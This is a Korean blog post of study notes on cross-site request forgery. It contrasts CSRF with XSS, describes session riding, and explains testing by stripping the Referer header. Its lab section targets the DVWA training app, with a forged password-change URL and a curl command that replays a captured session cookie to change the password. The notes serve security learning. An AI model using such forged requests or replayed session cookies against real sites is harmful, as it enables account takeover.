블로그의 모든 내용은 학습 목적으로만 사용하세요.
불법적인 행위에 대한 모든 책임은 당사자에 있습니다.
● CSRF
: 기본형 ~> XSS
XSS : 피해서버에 공격코드가 저장되어 있다.
~> 피해자는 서버에 접근함으로써 공격을 받게된다.
CSRF : 피해자가 실행하는 스크립트가 피해서버에 영향을 준다.
------------------------ : 명령이 피해자의 권한을 갖고 서버에 다른 명령을 전달.
~> 피해자가 실행한 것처럼 위조.
1. One Click Attack : 내가 클릭하지 않은 메뉴를 자동으로 클릭하게 만든다.
2. Zero Click Attack : 게시판 / 댓글에 스크립트 추가 ~> 보이지 않음
URL을 통하여 전달 ~> script 전송
● Session Riding
: 세션을 탈취하여 공격
1. 취약점 발생 원인 : Request가 발생하는 경로를 검사하지 않기 때문에 발생한다.(Src. 검사)
2. 점검 방법
취약 여부가 의심되는 Application이 경로를 검사하는지의 여부를 확인한다.
Referer 값을 지운다.
게시글을 작성하고 request를 잡아서 repeater에 붙여 넣은 후 통과시킨다.
그리고 게시물이 등록되면 강제로 referer을 삭제하고 다시 요청해본다.
3. 피해 범위 및 공격 시나리오
서버가 가진 모든 기능이 피해범위이고, 피해자의 권환이 높을수록 피해가 커진다.
● 실습

: http://www.dvwa.com/vulnerabilities/csrf/?password_new=1111&password_conf=1111&Change=Change#
?password_new=1111&password_conf=1111&Change=Change#
curl ~> GET방식으로 사이트에 요청을 보내는 프로그램
curl --cookie : "쿠키"를 전달하는 옵션
curl --location : 전달할 "GET주소"
쿠키 :
"PHPSESSID=3uvcoccbcvlhe5sdbb9646qag3; security=low"
GET주소 :
"http://www.dvwa.com/vulnerabilities/csrf/?password_new=1111&password_conf=1111&Change=Change#"
적용
curl --cookie "PHPSESSID=3uvcoccbcvlhe5sdbb9646qag3;security=low" --location "http://www.dvwa.com/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#"

?password_new=asd123%21%40
- : Query : 서버에 질의를 한다.
-------------------- : 변수
= : 대입연산자
---------------------- : 리터럴
&password_conf=asd123%21%40
- : AND연산자
-------------------- : 변수
= : 대입연산자
--------------------- : 리터럴
&Change=Change#
- : AND연산자
---------- : 변수
= : 대입 연산자
------------ : 리터럴